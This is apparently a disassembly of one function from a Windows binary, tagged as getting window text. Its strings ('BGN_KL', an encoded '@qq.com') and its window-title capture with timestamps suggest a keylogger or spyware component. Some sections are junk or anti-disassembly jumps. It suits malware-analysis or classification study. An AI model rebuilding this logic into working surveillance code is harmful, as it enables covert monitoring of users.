Function at 0x10062f00
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1009a288
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x164
push esi
push edi
push str.BGN_KL
push 2
call fcn.1006ac00
add esp, 8
mov ecx, 0x19
xor eax, eax
lea edi, [ebp - 0xe4]
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100e4670], eax
lea ecx, [ebp - 0x10]
call fcn.10001ff0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x10]
call fcn.10001bf0
movzx eax, al
test eax, eax
je 0x10062ff1
push 0x100e59a8
push str.7:_s
push 2
call fcn.1006ac00
add esp, 0xc
mov dword [ebp - 0x110], 0x100e59a8
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0x114], ecx
mov edx, dword [ebp - 0x114]
mov dword [ebp - 0x118], edx
mov eax, dword [ebp - 0x110]
mov cl, byte [eax]
mov byte [ebp - 0x119], cl
mov edx, dword [ebp - 0x114]
mov al, byte [ebp - 0x119]
mov byte [edx], al
mov ecx, dword [ebp - 0x110]
add ecx, 1
mov dword [ebp - 0x110], ecx
mov edx, dword [ebp - 0x114]
add edx, 1
mov dword [ebp - 0x114], edx
cmp byte [ebp - 0x119], 0
jne 0x10062fa1
push 0x100e59a8
lea ecx, [ebp - 0x10]
call fcn.10002fd0
je 0x10062ffe
jne 0x10062ffe
call 0x100db411
add byte [eax], al
je 0x1006300b
jne 0x1006300b
jmp 0x100649c8
mov ecx, 0x19
xor eax, eax
lea edi, [ebp - 0x7c]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x7c]
push eax
push str.QHFxLmNvbQ
call fcn.1003a410
add esp, 8
push 0
lea ecx, [ebp - 0x7c]
push ecx
lea ecx, [ebp - 0x10]
call fcn.10003880
cmp eax, 0xffffffff
jne 0x1006322d
mov dword [ebp - 0x120], 0x100e593c
mov edx, dword [ebp - 0x120]
inc edx
mov dword [ebp - 0x124], edx
mov eax, dword [ebp - 0x120]
mov cl, byte [eax]
mov byte [ebp - 0x125], cl
inc dword [ebp - 0x120]
cmp byte [ebp - 0x125], 0
jne 0x10063056
mov edx, dword [ebp - 0x120]
sub edx, dword [ebp - 0x124]
mov dword [ebp - 0x12c], edx
jne 0x10063146
mov dword [ebp - 0x130], 0x100e5970
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x134], eax
mov ecx, dword [ebp - 0x130]
mov dl, byte [ecx]
mov byte [ebp - 0x135], dl
inc dword [ebp - 0x130]
cmp byte [ebp - 0x135], 0
jne 0x100630a2
mov eax, dword [ebp - 0x130]
sub eax, dword [ebp - 0x134]
mov dword [ebp - 0x13c], eax
je 0x10063146
mov dword [ebp - 0x140], 0x100e5970
mov dword [ebp - 0x144], 0x100e593c
mov ecx, dword [ebp - 0x144]
mov dword [ebp - 0x148], ecx
mov edx, dword [ebp - 0x140]
mov al, byte [edx]
mov byte [ebp - 0x149], al
mov ecx, dword [ebp - 0x144]
mov dl, byte [ebp - 0x149]
mov byte [ecx], dl
mov eax, dword [ebp - 0x140]
add eax, 1
mov dword [ebp - 0x140], eax
mov ecx, dword [ebp - 0x144]
add ecx, 1
mov dword [ebp - 0x144], ecx
cmp byte [ebp - 0x149], 0
jne 0x100630f3
mov ecx, 0xc
xor eax, eax
mov edi, 0x100e5970
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [ebp - 0x10]
call fcn.10001bf0
movzx edx, al
test edx, edx
jne 0x100631b9
push 0x100e593c
lea eax, [ebp - 0x10]
push eax
call fcn.1001e7c0
add esp, 8
movzx ecx, al
test ecx, ecx
je 0x1006322d
mov dword [ebp - 0x150], 0x100e593c
mov edx, dword [ebp - 0x150]
inc edx
mov dword [ebp - 0x154], edx
mov eax, dword [ebp - 0x150]
mov cl, byte [eax]
mov byte [ebp - 0x155], cl
inc dword [ebp - 0x150]
cmp byte [ebp - 0x155], 0
jne 0x10063188
mov edx, dword [ebp - 0x150]
sub edx, dword [ebp - 0x154]
mov dword [ebp - 0x15c], edx
je 0x1006322d
mov dword [ebp - 0x160], 0x100e593c
lea eax, [ebp - 0xe4]
mov dword [ebp - 0x164], eax
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x168], ecx
mov edx, dword [ebp - 0x160]
mov al, byte [edx]
mov byte [ebp - 0x169], al
mov ecx, dword [ebp - 0x164]
mov dl, byte [ebp - 0x169]
mov byte [ecx], dl
mov eax, dword [ebp - 0x160]
add eax, 1
mov dword [ebp - 0x160], eax
mov ecx, dword [ebp - 0x164]
add ecx, 1
mov dword [ebp - 0x164], ecx
cmp byte [ebp - 0x169], 0
jne 0x100631db
lea edx, [ebp - 0xe4]
push edx
lea ecx, [ebp - 0x10]
call fcn.10002fd0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
mov eax, dword [ebp - 0x10]
push eax
push str.48:__s__42:__d
push 2
call fcn.1006ac00
add esp, 0x10
lea ecx, [ebp - 0x10]
call fcn.10001bf0
movzx ecx, al
test ecx, ecx
je 0x1006326a
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.10002010
jmp 0x1006336c
lea ecx, [ebp - 0x10]
call fcn.10005bc0
push eax
call fcn.1005d6e0
add esp, 4
test eax, eax
jne 0x10063293
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.10002010
jmp 0x1006336c
je 0x100632a0
jne 0x100632a0
call fcn.1006d25d
add byte [ebx], dh
sar byte [edi + 0x100e4678], 0xf3
stosd dword es:[edi], eax
mov ecx, 0x9f
xor eax, eax
mov edi, 0x100e4678
rep stosd dword es:[edi], eax
push 0x104
push 0x100e4678
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0x19
lea esi, [ebp - 0xe4]
mov edi, 0x100e477c
rep movsd dword es:[edi], dword [esi]
mov dword [0x100e4828], 0x3e9
lea edx, [ebp - 0xec]
push edx
call fcn.100115e0
push str._Y__m__d__H:_M:_S
lea eax, [ebp - 0xf0]
push eax
lea ecx, [ebp - 0xec]
call fcn.10012140
mov dword [ebp - 0x170], eax
mov ecx, dword [ebp - 0x170]
mov edx, dword [ecx]
push edx
push 0x1009cc2c
push 0x100e4812
call fcn.10077098
add esp, 0xc
lea ecx, [ebp - 0xf0]
call fcn.10002010
cmp dword [0x100becd4], 1
jne 0x1006334f
push 0x100601b0
push 0xbb8
push 2
push 0
call dword [sym.imp.USER32.dll_SetTimer]
mov dword [0x100e5a1c], eax
jmp 0x1006335d
cmp dword [0x100becd4], 2
jne 0x1006335d
call fcn.10060870
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.10002010
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x1500], 0
cmp dword [ebp - 0x78], 0
je 0x10064a81
push 0x64
lea edx, [ebp - 0x70]
push edx
mov eax, dword [ebp - 0x78]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x1500], ecx
mov edx, dword [ebp - 0x1500]
movsx eax, byte [edx]
test eax, eax
je 0x10064a81
mov ecx, dword [ebp - 0x1500]
movsx edx, byte [ecx]
cmp edx, 0x30
jl 0x10064a6d
mov eax, dword [ebp - 0x1500]
movsx ecx, byte [eax]
cmp ecx, 0x39
jg 0x10064a6d
push 0x3a
mov edx, dword [ebp - 0x1500]
push edx
call fcn.100784c0
add esp, 8
mov dword [ebp - 0x1574], eax
cmp dword [ebp - 0x1574], 0
jne 0x10064a59
push 0x3c
mov eax, dword [ebp - 0x1500]
push eax
call fcn.100784c0
add esp, 8
mov dword [ebp - 0x1574], eax
cmp dword [ebp - 0x1574], 0
je 0x10064a6b
mov ecx, dword [ebp - 0x1574]
mov byte [ecx], 0
jmp 0x10064a81
mov edx, dword [ebp - 0x1500]
add edx, 1
mov dword [ebp - 0x1500], edx
jmp 0x100649f9
mov ecx, 0x19
xor eax, eax
lea edi, [ebp - 0x1570]
rep stosd dword es:[edi], eax
push 0x64
lea eax, [ebp - 0x1570]
push eax
mov ecx, dword [ebp - 0x14fc]
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov dword [ebp - 0x74], 0
push 0x100a3fb4
lea edx, [ebp - 0x1570]
push edx
call fcn.1005fd50
add esp, 8
mov dword [ebp - 0x14f8], eax
cmp dword [ebp - 0x14f8], 0
je 0x10064af8
mov eax, dword [ebp - 0x14f8]
mov byte [eax], 0
push 0x28
lea ecx, [ebp - 0x1570]
push ecx
call fcn.10001030
add esp, 8
mov dword [ebp - 0x74], eax
mov edx, dword [ebp - 0x14f8]
mov byte [edx], 0x29
jmp 0x10064b23
push 0x28
lea eax, [ebp - 0x1570]
push eax
call fcn.10001030
add esp, 8
mov dword [ebp - 0x74], eax
push 0x29
lea ecx, [ebp - 0x1570]
push ecx
call fcn.10001030
add esp, 8
mov dword [ebp - 0x14f8], eax
mov dword [ebp - 0x14f4], 0
push 0x100a3fb0
lea edx, [ebp - 0x1570]
push edx
call fcn.1005fd50
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10064b6f
mov eax, dword [ebp - 4]
mov byte [eax], 0
push 0x3c
lea ecx, [ebp - 0x1570]
push ecx
call fcn.10001030
add esp, 8
mov dword [ebp - 0x14f4], eax
mov edx, dword [ebp - 4]
mov byte [edx], 0x3e
jmp 0x10064b9a
push 0x3c
lea eax, [ebp - 0x1570]
push eax
call fcn.10001030
add esp, 8
mov dword [ebp - 0x14f4], eax
push 0x3e
lea ecx, [ebp - 0x1570]
push ecx
call fcn.10001030
add esp, 8
mov dword [ebp - 4], eax
je 0x10064ba7
jne 0x10064ba7
call 0x100dcfba
add byte [eax], al
je 0x10064bb4
jne 0x10064bb4
jmp 0x1092c93b
cmp dword [ebp - 0x74], 0
je 0x10064bc3
cmp dword [ebp - 0x14f8], 0
jne 0x10064bd7
mov edx, dword [ebp - 0x14f4]
mov dword [ebp - 0x74], edx
mov eax, dword [ebp - 4]
mov dword [ebp - 0x14f8], eax
jmp 0x10064c03
cmp dword [ebp - 0x14f4], 0
je 0x10064c03
cmp dword [ebp - 4], 0
je 0x10064c03
mov ecx, dword [ebp - 0x74]
cmp ecx, dword [ebp - 0x14f4]
jbe 0x10064c03
mov edx, dword [ebp - 0x14f4]
mov dword [ebp - 0x74], edx
mov eax, dword [ebp - 4]
mov dword [ebp - 0x14f8], eax
cmp dword [ebp - 0x74], 0
je 0x10064c12
cmp dword [ebp - 0x14f8], 0
jne 0x10064c17
jmp 0x10064ed9
mov ecx, dword [ebp - 0x14f8]
mov byte [ecx], 0
cmp dword [ebp - 0x74], 0
je 0x10064c32
mov edx, dword [ebp - 0x74]
add edx, 1
mov dword [ebp - 0x14f8], edx
mov eax, dword [ebp - 0x74]
mov byte [eax], 0
lea ecx, [ebp - 0x1570]
mov dword [ebp - 0x1578], ecx
mov edx, dword [ebp - 0x1578]
inc edx
mov dword [ebp - 0x157c], edx
mov eax, dword [ebp - 0x1578]
mov cl, byte [eax]
mov byte [ebp - 0x157d], cl
inc dword [ebp - 0x1578]
cmp byte [ebp - 0x157d], 0
jne 0x10064c51
mov edx, dword [ebp - 0x1578]
sub edx, dword [ebp - 0x157c]
mov dword [ebp - 0x1584], edx
jne 0x10064c87
jmp 0x10064ed9
lea eax, [ebp - 0x1570]
mov dword [ebp - 0x1508], eax
mov ecx, dword [ebp - 0x1504]
push ecx
call fcn.10060360
add esp, 4
mov dword [ebp - 0x14ec], eax
cmp dword [ebp - 0x14ec], 0
jne 0x10064cb6
jmp 0x10064ed9
mov ecx, 0x51b
xor eax, eax
lea edi, [ebp - 0x14e8]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x14e4], 3
cmp dword [ebp - 0x14ec], 0
je 0x10064d40
mov edx, dword [ebp - 0x14ec]
mov dword [ebp - 0x1588], edx
mov eax, dword [ebp - 0x1588]
inc eax
mov dword [ebp - 0x158c], eax
mov ecx, dword [ebp - 0x1588]
mov dl, byte [ecx]
mov byte [ebp - 0x158d], dl
inc dword [ebp - 0x1588]
cmp byte [ebp - 0x158d], 0
jne 0x10064cf1
mov eax, dword [ebp - 0x1588]
sub eax, dword [ebp - 0x158c]
mov dword [ebp - 0x1594], eax
mov ecx, dword [ebp - 0x1594]
mov esi, dword [ebp - 0x14ec]
lea edi, [ebp - 0x14e0]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp dword [ebp - 0x14f8], 0
je 0x10064e2a
cmp dword [ebp - 0x1508], 0
je 0x10064e2a
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x1598], eax
mov ecx, dword [ebp - 0x1598]
inc ecx
mov dword [ebp - 0x159c], ecx
mov edx, dword [ebp - 0x1598]
mov al, byte [edx]
mov byte [ebp - 0x159d], al
inc dword [ebp - 0x1598]
cmp byte [ebp - 0x159d], 0
jne 0x10064d73
mov ecx, dword [ebp - 0x1598]
sub ecx, dword [ebp - 0x159c]
mov dword [ebp - 0x15a4], ecx
mov ecx, dword [ebp - 0x15a4]
mov esi, dword [ebp - 0x14f8]
lea edi, [ebp - 0x1414]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0x1508]
mov dword [ebp - 0x15a8], eax
mov ecx, dword [ebp - 0x15a8]
inc ecx
mov dword [ebp - 0x15ac], ecx
mov edx, dword [ebp - 0x15a8]
mov al, byte [edx]
mov byte [ebp - 0x15ad], al
inc dword [ebp - 0x15a8]
cmp byte [ebp - 0x15ad], 0
jne 0x10064ddb
mov ecx, dword [ebp - 0x15a8]
sub ecx, dword [ebp - 0x15ac]
mov dword [ebp - 0x15b4], ecx
mov ecx, dword [ebp - 0x15b4]
mov esi, dword [ebp - 0x1508]
lea edi, [ebp - 0x13b0]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
je 0x10064e37
jne 0x10064e37
call 0x100dd24a
add byte [eax], al
je 0x10064e44
jne 0x10064e44
jmp 0xfb070bcb
cmp dword [ebp - 0x1500], 0
je 0x10064ec2
mov eax, dword [ebp - 0x1500]
movsx ecx, byte [eax]
test ecx, ecx
je 0x10064ec2
mov edx, dword [ebp - 0x1500]
mov dword [ebp - 0x15b8], edx
mov eax, dword [ebp - 0x15b8]
inc eax
mov dword [ebp - 0x15bc], eax
mov ecx, dword [ebp - 0x15b8]
mov dl, byte [ecx]
mov byte [ebp - 0x15bd], dl
inc dword [ebp - 0x15b8]
cmp byte [ebp - 0x15bd], 0
jne 0x10064e73
mov eax, dword [ebp - 0x15b8]
sub eax, dword [ebp - 0x15bc]
mov dword [ebp - 0x15c4], eax
mov ecx, dword [ebp - 0x15c4]
mov esi, dword [ebp - 0x1500]
lea edi, [ebp - 0x160]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp + 0x10]
push eax
lea ecx, [ebp - 0x14e8]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call fcn.10064120
add esp, 0xc
pop edi
pop esi
mov esp, ebp
pop ebp
ret